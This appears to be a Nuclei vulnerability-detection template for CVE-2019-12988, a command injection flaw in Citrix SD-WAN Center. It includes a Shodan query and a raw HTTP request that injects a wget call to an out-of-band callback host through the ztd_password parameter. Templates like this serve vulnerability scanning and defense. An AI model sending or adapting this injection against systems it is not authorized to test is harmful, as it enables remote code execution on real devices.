nuclei-templates/http/cves/2019/CVE-2019-12988.yaml

45 lines
1.6 KiB
YAML

id: CVE-2019-12988
info:
name: Citrix SD-WAN Center - Remote Command Injection
author: gy741
severity: critical
description: |
Citrix SD-WAN Center is susceptible to remote command injection via the addModifyZTDProxy function in NmsController. The function does not sufficiently validate or sanitize HTTP request parameter values that are used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ztd_password, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
reference:
- https://www.tenable.com/security/research/tra-2019-31
- https://support.citrix.com/article/CTX251987
- https://nvd.nist.gov/vuln/detail/CVE-2019-12988
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-12988
cwe-id: CWE-78
metadata:
max-request: 2
shodan-query: http.title:"Citrix SD-WAN"
tags: rce,unauth,oast,tenable,cve,cve2019,citrix
http:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
- |+
GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://{{interactsh-url}}) HTTP/1.1
Host: {{Hostname}}
Accept: */*
unsafe: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: dsl
dsl:
- 'contains(body_1, "<title>Citrix SD-WAN</title>")'